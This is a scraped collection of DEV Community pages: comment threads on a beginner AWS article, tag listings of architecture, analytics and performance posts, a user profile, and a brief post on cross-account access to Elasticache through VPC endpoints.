Re-thinking developer experience • Product @Gitpod 🍊 Helping folks get their start in cloud • @openupthecloud ☁️ AWS Community Builder 🛠 Replies in GIFS 😃 Email contact@louisjohnbichard.co.uk Location London Education Loughborough University Work Product @ Gitpod Joined Aug 16, 2017 • Jan 24 '20 Dropdown menu Copy link Hide You're very welcome! :) Like comment: Like comment: 1 like Like Comment button Reply Collapse Expand Sankar-Rajendran Sankar-Rajendran Sankar-Rajendran Follow JavaScript| React | Node | Java Beginner Location Chennai Education BE ( Electronics and Communication ) Work Frontend Developer at Trane Technologies Joined Oct 13, 2019 • Dec 2 '20 Dropdown menu Copy link Hide Thanks for writing this wonderful article...I would highly recommend this article for anyone who is starting with AWS...!! Like comment: Like comment: 1 like Like Comment button Reply Collapse Expand Mat Strange Mat Strange Mat Strange Follow Always looking for smarter ways to do things Location Chatham, UK (Kinda near London) Work Senior Operations Manager at Icomera Joined Jul 10, 2019 • Nov 18 '19 Dropdown menu Copy link Hide Great introduction and well written, thanks for sharing! It certainly can seem daunting when you start, this covers off the key elements to get you going. Like comment: Like comment: 2 likes Like Comment button Reply Collapse Expand Lou (🚀 Open Up The Cloud ☁️) Lou (🚀 Open Up The Cloud ☁️) Lou (🚀 Open Up The Cloud ☁️) Follow Re-thinking developer experience • Product @Gitpod 🍊 Helping folks get their start in cloud • @openupthecloud ☁️ AWS Community Builder 🛠 Replies in GIFS 😃 Email contact@louisjohnbichard.co.uk Location London Education Loughborough University Work Product @ Gitpod Joined Aug 16, 2017 • Jan 24 '20 Dropdown menu Copy link Hide I know... power through and you'll get there! Here I am 5 years in and there's SO MUCH I do not know! Like comment: Like comment: 1 like Like Comment button Reply Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Lou (🚀 Open Up The Cloud ☁️) Follow Re-thinking developer experience • Product @Gitpod 🍊 Helping folks get their start in cloud • @openupthecloud ☁️ AWS Community Builder 🛠 Replies in GIFS 😃 Location London Education Loughborough University Work Product @ Gitpod Joined Aug 16, 2017 More from Lou (🚀 Open Up The Cloud ☁️) Are these the RIGHT 5 skills for a Beginner Cloud Engineer? # devops # cloud # beginners # career No, I will not mentor you. # devops # codenewbie # career # beginners Open Up The Cloud Newsletter #30 (January Recap 2022) # devops # serverless # cloud # news 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Architecture Follow Hide The fundamental structures of a software system. Create Post Older #architecture posts 72 73 74 75 76 77 78 79 80 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Mastering Terraform File Structure – From Chaos to Clean Architecture Sainath Patil Sainath Patil Sainath Patil Follow Nov 29 '25 Mastering Terraform File Structure – From Chaos to Clean Architecture # terraform # cleancode # devops # architecture 1 reaction Comments Add Comment 1 min read Understanding Model Context Protocol (MCP) Servers Shada Daab Shada Daab Shada Daab Follow Nov 8 '25 Understanding Model Context Protocol (MCP) Servers # ai # api # architecture 2 reactions Comments Add Comment 3 min read Building CodeNova: System Design Deep Dive into an AI-Enhanced Coding Platform Bhupesh Chikara Bhupesh Chikara Bhupesh Chikara Follow Nov 30 '25 Building CodeNova: System Design Deep Dive into an AI-Enhanced Coding Platform # ai # architecture # systemdesign 1 reaction Comments Add Comment 8 min read Frontend System Design: Comparison of Web Worker, SharedWorker, and Service Worker ZeeshanAli-0704 ZeeshanAli-0704 ZeeshanAli-0704 Follow Nov 29 '25 Frontend System Design: Comparison of Web Worker, SharedWorker, and Service Worker # architecture # javascript # performance 1 reaction Comments Add Comment 5 min read Using One Database for Two Apps: Should You Copy Your Models or Import Them? Priyam Jain Priyam Jain Priyam Jain Follow Nov 29 '25 Using One Database for Two Apps: Should You Copy Your Models or Import Them? # python # database # backend # architecture Comments Add Comment 3 min read Building a Serverless AI Fitness Coach on AWS Using Bedrock (Llama 3), Lambda & CloudFront Ashwin Venkatesan Ashwin Venkatesan Ashwin Venkatesan Follow Nov 29 '25 Building a Serverless AI Fitness Coach on AWS Using Bedrock (Llama 3), Lambda & CloudFront # ai # aws # devops # architecture 24 reactions Comments Add Comment 9 min read Semantic Algebra Spec. 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Tech with Thiru Tech with Thiru Tech with Thiru Follow Oct 24 '25 Is this a good way to represent systems architecture or am i missing anything? # discuss # azure # microservices # architecture Comments Add Comment 1 min read Consistent Hashing: The Unseen Engine Meeth Gangwar Meeth Gangwar Meeth Gangwar Follow Nov 7 '25 Consistent Hashing: The Unseen Engine # architecture # performance # computerscience # interview 1 reaction Comments Add Comment 5 min read Gang of Three: Pragmatic Operations Design Patterns RoseSecurity RoseSecurity RoseSecurity Follow Oct 24 '25 Gang of Three: Pragmatic Operations Design Patterns # infrastructureascode # systemdesign # distributedsystems # architecture Comments Add Comment 4 min read The Art of Software Architecture: A Desi Developer's Guide to Building Systems That Actually Work Data Tech Bridge Data Tech Bridge Data Tech Bridge Follow Nov 24 '25 The Art of Software Architecture: A Desi Developer's Guide to Building Systems That Actually Work # architecture # softwareengineering # systemdesign 27 reactions Comments 2 comments 10 min read Java Architecture VIDHYA VARSHINI VIDHYA VARSHINI VIDHYA VARSHINI Follow Oct 25 '25 Java Architecture # architecture # beginners # java Comments Add Comment 1 min read Software Architecture Design Patterns Evan Lausier Evan Lausier Evan Lausier Follow Nov 28 '25 Software Architecture Design Patterns # architecture # design # designpatterns # softwaredevelopment 2 reactions Comments Add Comment 2 min read Why Prompt Templates Are the New APIs Jaideep Parashar Jaideep Parashar Jaideep Parashar Follow Nov 18 '25 Why Prompt Templates Are the New APIs # webdev # ai # api # architecture 21 reactions Comments 1 comment 2 min read Running puppeteer on AWS Lambda to generate PDFs Berislav Babic Berislav Babic Berislav Babic Follow Oct 25 '25 Running puppeteer on AWS Lambda to generate PDFs # serverless # javascript # architecture # aws 2 reactions Comments Add Comment 5 min read SoraStrip: Building a Sora Watermark Removal Tool with API-First Architecture Aadarsh Nagrath Aadarsh Nagrath Aadarsh Nagrath Follow Oct 24 '25 SoraStrip: Building a Sora Watermark Removal Tool with API-First Architecture # showdev # api # ai # architecture Comments Add Comment 7 min read 💥 A Bit of Pain — or Why Architecture Is About Product Survival Artem Petukhov Artem Petukhov Artem Petukhov Follow Oct 24 '25 💥 A Bit of Pain — or Why Architecture Is About Product Survival # webdev # architecture # systemdesign # programming Comments Add Comment 2 min read Struktur Folder Hugo CMS: Peta Jalan Menuju Website Statis yang Rapi dan Kencang deuxly deuxly deuxly Follow Nov 28 '25 Struktur Folder Hugo CMS: Peta Jalan Menuju Website Statis yang Rapi dan Kencang # architecture # beginners # webdev Comments Add Comment 5 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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Right menu Building a Performance Metric System with SQLite (Part 1) Ganesh Kumar Ganesh Kumar Ganesh Kumar Follow Jan 13 Building a Performance Metric System with SQLite (Part 1) # sqlite # analytics Comments Add Comment 3 min read SwiftUI Analytics & Event Tracking Architecture (Production-Grade) Sebastien Lato Sebastien Lato Sebastien Lato Follow Jan 11 SwiftUI Analytics & Event Tracking Architecture (Production-Grade) # swiftui # analytics # architecture # tracking Comments Add Comment 3 min read MomentoMonto Haroon K M Haroon K M Haroon K M Follow Jan 11 MomentoMonto # networking # analytics # python # opensource 1 reaction Comments Add Comment 2 min read Navigating the Startup Landscape: Mastering Competitive Analysis Visakh Vijayan Visakh Vijayan Visakh Vijayan Follow Jan 10 Navigating the Startup Landscape: Mastering Competitive Analysis # analytics # management # startup Comments Add Comment 3 min read The Gaming Analytics Tech Stack: From Ingestion to Insights Sai Krishna Chaitanya Chigili Sai Krishna Chaitanya Chigili Sai Krishna Chaitanya Chigili Follow Jan 5 The Gaming Analytics Tech Stack: From Ingestion to Insights # dataengineering # analytics # dataarchitecture # datascience Comments Add Comment 4 min read Built a small tool to understand AI cost & failures per feature — looking for early feedback Harshit Sharma Harshit Sharma Harshit Sharma Follow Jan 5 Built a small tool to understand AI cost & failures per feature — looking for early feedback # ai # devtool # saas # analytics Comments Add Comment 2 min read Part 8: Databricks Pipeline & Dashboard Nithyalakshmi Kamalakkannan Nithyalakshmi Kamalakkannan Nithyalakshmi Kamalakkannan Follow Jan 2 Part 8: Databricks Pipeline & Dashboard # analytics # dataengineering # tutorial # sql Comments Add Comment 2 min read Part 5: Building a ZIP Code Dimension Table Nithyalakshmi Kamalakkannan Nithyalakshmi Kamalakkannan Nithyalakshmi Kamalakkannan Follow Jan 2 Part 5: Building a ZIP Code Dimension Table # analytics # database # dataengineering # tutorial Comments Add Comment 2 min read Pricing Strategy Analysis: Top 3 Market Leaders in Shopee Vietnam Diaper Category (Oct 2025) Easy Data Easy Data Easy Data Follow Jan 3 Pricing Strategy Analysis: Top 3 Market Leaders in Shopee Vietnam Diaper Category (Oct 2025) # shopeedata # data # analytics Comments Add Comment 6 min read PriviMetrics: Privacy-First, Lightweight Analytics for Shared Hosting WebOrbiton WebOrbiton WebOrbiton Follow Jan 3 PriviMetrics: Privacy-First, Lightweight Analytics for Shared Hosting # showdev # analytics # performance # privacy Comments Add Comment 1 min read If You're Still Building Ideas Without Brutal Validation in 2026, You're Gambling Your Runway on Yesterday's Rules tarun chowdhry tarun chowdhry tarun chowdhry Follow Jan 3 If You're Still Building Ideas Without Brutal Validation in 2026, You're Gambling Your Runway on Yesterday's Rules # startup # ai # checklist # analytics Comments Add Comment 4 min read What is CAI (Cyber-Augmented Intelligence)? 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Here’s What Actually Matters. Manas Mudbari Manas Mudbari Manas Mudbari Follow Dec 28 '25 I Benchmarked LLM APIs on Live BGP Streams. Here’s What Actually Matters. # llm # ai # analytics Comments Add Comment 3 min read Why I'm Building Yet Another URL Shortener in 2025 (And Why It's Not Crazy) Anand Rathnas Anand Rathnas Anand Rathnas Follow Dec 27 '25 Why I'm Building Yet Another URL Shortener in 2025 (And Why It's Not Crazy) # analytics # ad # webdev # why Comments Add Comment 2 min read loading... trending guides/resources ClickHouse: The Good, The Bad, and The Ugly How to Connect PostgreSQL to Power BI Using Local PostgreSQL and Aiven. Lesson 19: Freqtrade Visualization Analysis Tools Building a Production-Ready AI ChatBot Platform with Real-Time Analytics DP-600: Advanced Prescriptive & Predictive Analytics MCQ Practice (Part-01) 6 Different Data Formats Commonly Used in Data Analytics Azure Data Solutions: Data Factory, Synapse, Data Lake & Databricks Integration Connecting Power BI to PostgreSQL (Localhost & Aiven Cloud) UTM Tracking for Web Developers: Why It Matters and How to Implement It Right Approach to JSON Log Analysis: A Hands-on Guide to Efficient Practices with Alibaba Cloud SLS Slack Test Reporting Connecting Power BI to PostgreSQL (Aiven & Localhost): A Simple Step-by-Step Guide Amazon Quicksight - Best practices Part 2 Visualizing User Behavior: Setting Up GA4 and Microsoft Clarity Supabase with PowerBI Dashboard Litlyx: Our new open-source launch - 10 simpler, 10 faster, 100% self-hostable Open Source Serverless Product Analytics on AWS 🧠Understanding 6 Common Data Formats in Cloud Data Analytics How To Create a Chatbot Analytics Dashboard: A Complete Guide for 2025 Improving our frontend tracking with Avo 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://future.forem.com/victor-lang | Victor Lang - Future Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Future Close Follow User actions Victor Lang 404 bio not found Joined Joined on Aug 28, 2025 More info about @victor-lang Badges Writing Debut Awarded for writing and sharing your first DEV post! Continue sharing your work to earn the 4 Week Writing Streak Badge. Got it Close Post 2 posts published Comment 0 comments written Tag 0 tags followed Future of Renewables: Innovation in Energy Transition Victor Lang Victor Lang Victor Lang Follow Nov 28 '25 Future of Renewables: Innovation in Energy Transition # energy # science # solar Comments Add Comment 5 min read Transforming Ceramic Manufacturing: A Case Study in Automation and Efficiency Victor Lang Victor Lang Victor Lang Follow Oct 20 '25 Transforming Ceramic Manufacturing: A Case Study in Automation and Efficiency Comments Add Comment 4 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Future — News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Future © 2025 - 2026. Stay on the cutting edge, and shape tomorrow Log in Create account | 2026-01-13T08:49:26 |
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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Architecture Follow Hide The fundamental structures of a software system. Create Post Older #architecture posts 77 78 79 80 81 82 83 84 85 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Building a Real-Time Data Lake on AWS: S3, Glue, and Athena in Production WanjohiChristopher WanjohiChristopher WanjohiChristopher Follow for AWS Community Builders Nov 24 '25 Building a Real-Time Data Lake on AWS: S3, Glue, and Athena in Production # architecture # aws # dataengineering 1 reaction Comments Add Comment 5 min read Cloud FinOps in Action: How I Saved Thousands by Optimizing AWS Architectures alok shankar alok shankar alok shankar Follow Nov 23 '25 Cloud FinOps in Action: How I Saved Thousands by Optimizing AWS Architectures # aws # cloud # architecture # devops Comments Add Comment 4 min read 6 Common Anti-Patterns You should avoid TJ Coding TJ Coding TJ Coding Follow Nov 23 '25 6 Common Anti-Patterns You should avoid # javascript # typescript # architecture # node Comments Add Comment 5 min read Designing a High-Load Event Processing Pipeline — What Really Matters When Systems Start to Breathe Pavel Sanikovich Pavel Sanikovich Pavel Sanikovich Follow Nov 24 '25 Designing a High-Load Event Processing Pipeline — What Really Matters When Systems Start to Breathe # performance # distributedsystems # architecture # designsystem 1 reaction Comments Add Comment 6 min read 🚀 Migrating from Uniface 9.7 to 10.4: A Survivor’s Guide Peter + AI Peter + AI Peter + AI Follow Nov 23 '25 🚀 Migrating from Uniface 9.7 to 10.4: A Survivor’s Guide # architecture # devjournal # tutorial Comments Add Comment 3 min read Meta-Author's Notes: Codie's Cognitive Chronicles Izzy Fuller Izzy Fuller Izzy Fuller Follow Oct 19 '25 Meta-Author's Notes: Codie's Cognitive Chronicles # ai # cleancoding # architecture # mixedreality Comments Add Comment 6 min read Uniface State Management: Mastering the Stateless Beast 🦄💾 Peter + AI Peter + AI Peter + AI Follow Nov 23 '25 Uniface State Management: Mastering the Stateless Beast 🦄💾 # webdev # stateless # architecture # uniface Comments Add Comment 2 min read Master Shared Library Loading in Uniface 10.4 Peter + AI Peter + AI Peter + AI Follow Nov 23 '25 Master Shared Library Loading in Uniface 10.4 # architecture # softwaredevelopment # tutorial Comments Add Comment 3 min read 🏛️ Uniface Forms Explained for C# Developers: The Original "WinForms" Peter + AI Peter + AI Peter + AI Follow Nov 23 '25 🏛️ Uniface Forms Explained for C# Developers: The Original "WinForms" # csharp # ui # dotnet # architecture Comments Add Comment 3 min read Building a Resilient API Key Pool System with Health Checks and Multi-Tier Degradation cya diandian cya diandian cya diandian Follow Nov 2 '25 Building a Resilient API Key Pool System with Health Checks and Multi-Tier Degradation # showdev # javascript # architecture # ai 2 reactions Comments Add Comment 5 min read What Every Programmer Should Know About Memory Part 1 Hamza Hasanain Hamza Hasanain Hamza Hasanain Follow Nov 21 '25 What Every Programmer Should Know About Memory Part 1 # cpp # architecture # computerscience # books 13 reactions Comments 7 comments 19 min read 🗂️ Clprolf Directory Explorer — When Breadth-First Becomes Intuitive Charles Koffler Charles Koffler Charles Koffler Follow Oct 19 '25 🗂️ Clprolf Directory Explorer — When Breadth-First Becomes Intuitive # programming # architecture # java Comments Add Comment 3 min read 5 Must-Read Books to Master Software Architecture and System Design Soma Soma Soma Follow Nov 23 '25 5 Must-Read Books to Master Software Architecture and System Design # architecture # books # systemdesign # programming 29 reactions Comments 2 comments 7 min read Digital Certificates: Anatomy, Lifecycle, and Best Practices Divyanshu Soni Divyanshu Soni Divyanshu Soni Follow Nov 24 '25 Digital Certificates: Anatomy, Lifecycle, and Best Practices # certificates # pki # architecture # devops 1 reaction Comments Add Comment 11 min read A Production LLMOps Architecture for Snowflake Johann Hagerer Johann Hagerer Johann Hagerer Follow Nov 11 '25 A Production LLMOps Architecture for Snowflake # snowflake # llmops # ai # architecture Comments Add Comment 3 min read Uniface Entity Services: Your Database Bodyguard 🛡️ Peter + AI Peter + AI Peter + AI Follow Nov 23 '25 Uniface Entity Services: Your Database Bodyguard 🛡️ # architecture # backend # database Comments Add Comment 3 min read Uniface Session Services: The Unsung Heroes of Business Logic 🦸♂️💻 Peter + AI Peter + AI Peter + AI Follow Nov 23 '25 Uniface Session Services: The Unsung Heroes of Business Logic 🦸♂️💻 # procscript # legacycode # architecture # backend Comments Add Comment 3 min read Understanding Prometheus Storage: From Scrape to Disk Quame Jnr Quame Jnr Quame Jnr Follow Nov 23 '25 Understanding Prometheus Storage: From Scrape to Disk # architecture # database # monitoring 2 reactions Comments Add Comment 4 min read Inside the Edge: Building an Automation-Native Telecom Stack for Real-Time Networks Abdul Shamim Abdul Shamim Abdul Shamim Follow Nov 24 '25 Inside the Edge: Building an Automation-Native Telecom Stack for Real-Time Networks # networking # distributedsystems # automation # architecture 1 reaction Comments Add Comment 3 min read Python Registry Pattern: A Clean Alternative to Factory Classes Ivan Korostenskij Ivan Korostenskij Ivan Korostenskij Follow Nov 22 '25 Python Registry Pattern: A Clean Alternative to Factory Classes # python # architecture # tutorial # learning 6 reactions Comments Add Comment 9 min read 📘 SaijinOS Part 13 (DEV Edition) Silent-Civ Informational Units — Δ-Model & Cognitive Signal Architecture Masato Kato Masato Kato Masato Kato Follow Nov 23 '25 📘 SaijinOS Part 13 (DEV Edition) Silent-Civ Informational Units — Δ-Model & Cognitive Signal Architecture # ai # architecture # emotion # humancomputerinteraction 2 reactions Comments Add Comment 2 min read The Architecture of Browser Sandboxes: A Deep Dive into JavaScript Code Isolation Alex Griss Alex Griss Alex Griss Follow Nov 21 '25 The Architecture of Browser Sandboxes: A Deep Dive into JavaScript Code Isolation # webdev # sandbox # architecture # security 6 reactions Comments 2 comments 51 min read Paper, Pixels, and the Hybrid Office: Building a Smarter Document Stack in 2025 Sonia Bobrik Sonia Bobrik Sonia Bobrik Follow Oct 20 '25 Paper, Pixels, and the Hybrid Office: Building a Smarter Document Stack in 2025 # analytics # architecture # automation # productivity Comments Add Comment 5 min read How We Integrated Licensed Fleets into a Global Ride-Hailing Platform Nurislam Alimov Nurislam Alimov Nurislam Alimov Follow Nov 11 '25 How We Integrated Licensed Fleets into a Global Ride-Hailing Platform # architecture # backend # microservices # casestudy Comments 1 comment 10 min read Clean Architecture in .NET — From Pretty Diagrams to Production‑Ready Code Cristian Sifuentes Cristian Sifuentes Cristian Sifuentes Follow Nov 22 '25 Clean Architecture in .NET — From Pretty Diagrams to Production‑Ready Code # dotnet # csharp # architecture # cleanarchitecture 4 reactions Comments Add Comment 8 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/aws-builders/aws-vpc-endpoint-service-for-access-elasticache-redis-from-multiple-aws-accounts-439d | AWS VPC Endpoint Service for Access Elasticache Redis From Multiple AWS Accounts - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Arshad Zackeriya 🇳🇿 ☁️ for AWS Community Builders Posted on Oct 20, 2021 AWS VPC Endpoint Service for Access Elasticache Redis From Multiple AWS Accounts # aws # redis # vpc # elasticache This is a scenario, that how to access the AWS Elasticache From Multiple AWS Accounts using VPC Endpoints. Eg: AWS Account A Application Servers needs to Access the AWS Account B Elasticache Service trough VPC Endpoints. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse AWS Community Builders Follow Build On! Would you like to become an AWS Community Builder? Learn more about the program and apply to join when applications are open next. Learn more More from AWS Community Builders It’s 2026: Stop Using AWS IAM and Start Using IAM Identity Center # aws # tutorial # devops # cloud AWS Community Builder 2026 - Applications Open !! # aws # community # kiro # ai Listing IAM Roles for Your Current AWS Account # aws # iam # tooling 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:49:26 |
https://dev.to/t/performance/page/14 | Performance Page 14 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Performance Follow Hide Tag for content related to software performance. Create Post submission guidelines Articles should be obviously related to software performance in some way. Possible topics include, but are not limited to: Performance Testing Performance Analysis Optimising for performance Scalability Resilience But most of all, be kind and humble. 💜 Older #performance posts 11 12 13 14 15 16 17 18 19 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Semantic Caching Cut Our LLM Costs by 40% Kuldeep Paul Kuldeep Paul Kuldeep Paul Follow Dec 12 '25 Semantic Caching Cut Our LLM Costs by 40% # performance # architecture # llm # machinelearning Comments Add Comment 3 min read Implementing Real-Time Status Updates with Server-Sent Events in Next.js Richard Lau Richard Lau Richard Lau Follow Dec 12 '25 Implementing Real-Time Status Updates with Server-Sent Events in Next.js # performance # javascript # tutorial # nextjs Comments Add Comment 5 min read n8n 2.0: Secure Workflow Automation with Enhanced Reliability & Performance Omer Dahan Omer Dahan Omer Dahan Follow Dec 13 '25 n8n 2.0: Secure Workflow Automation with Enhanced Reliability & Performance # tooling # security # performance # automation Comments Add Comment 5 min read New Tool: Does Your Site Work for AI Agents? Kiarash Kiarash Kiarash Follow Dec 12 '25 New Tool: Does Your Site Work for AI Agents? # webdev # pagespeed # webperf # performance Comments Add Comment 1 min read DuckDB: how to fine tune parameters? Prashant Sharma Prashant Sharma Prashant Sharma Follow Dec 11 '25 DuckDB: how to fine tune parameters? # database # performance # tutorial # sql Comments Add Comment 2 min read Why Goroutines Scale: Stack Growth, Compiler Tricks, and Context Switching Ayush Kumar Anand Ayush Kumar Anand Ayush Kumar Anand Follow Jan 3 Why Goroutines Scale: Stack Growth, Compiler Tricks, and Context Switching # go # computerscience # performance # backend 2 reactions Comments Add Comment 5 min read 3 Days to Save the Release: From 3.15s to 233ms Jonathan Duberville Jonathan Duberville Jonathan Duberville Follow Dec 11 '25 3 Days to Save the Release: From 3.15s to 233ms # learning # performance # mongodb # api Comments Add Comment 3 min read Benchmark: easy-query vs jOOQ Li Li Li Follow Dec 26 '25 Benchmark: easy-query vs jOOQ # database # java # performance Comments Add Comment 4 min read How I Reduced a 53-Minute MySQL Job to 15 Minutes on MySQL 5.7 (Without Changing Hardware) SGTSanjay SGTSanjay SGTSanjay Follow Dec 11 '25 How I Reduced a 53-Minute MySQL Job to 15 Minutes on MySQL 5.7 (Without Changing Hardware) # database # performance # sql Comments Add Comment 1 min read Performance Testing Tools in Software Testing: JMeter, K6, Gatling & More Emily Jackson Emily Jackson Emily Jackson Follow Dec 17 '25 Performance Testing Tools in Software Testing: JMeter, K6, Gatling & More # performance # webdev # jmeter # testing 8 reactions Comments Add Comment 4 min read PAGI::Server Performance and Hardening John Napiorkowski John Napiorkowski John Napiorkowski Follow Dec 15 '25 PAGI::Server Performance and Hardening # showdev # testing # performance # opensource 1 reaction Comments Add Comment 2 min read On a 3 jours pour sauver la MEP: de 3.15s à 233ms Jonathan Duberville Jonathan Duberville Jonathan Duberville Follow Dec 11 '25 On a 3 jours pour sauver la MEP: de 3.15s à 233ms # mongodb # performance # architecture # ai Comments Add Comment 4 min read Choosing Residential Proxy Providers: Avoiding Trial-Only Quality, GEO Mismatch, and Mid-Campaign Downtime Miller James Miller James Miller James Follow Dec 11 '25 Choosing Residential Proxy Providers: Avoiding Trial-Only Quality, GEO Mismatch, and Mid-Campaign Downtime # systemdesign # data # networking # performance Comments Add Comment 12 min read How to Build Concurrent Agentic AI Systems Without Losing Control Yeahia Sarker Yeahia Sarker Yeahia Sarker Follow Dec 12 '25 How to Build Concurrent Agentic AI Systems Without Losing Control # ai # agents # performance # architecture Comments Add Comment 3 min read How to Migrate from a Premium to a Custom Shopify Theme Without Losing SEO prateekshaweb prateekshaweb prateekshaweb Follow Dec 11 '25 How to Migrate from a Premium to a Custom Shopify Theme Without Losing SEO # frontend # webdev # performance # tutorial Comments Add Comment 4 min read High-Throughput IoT Log 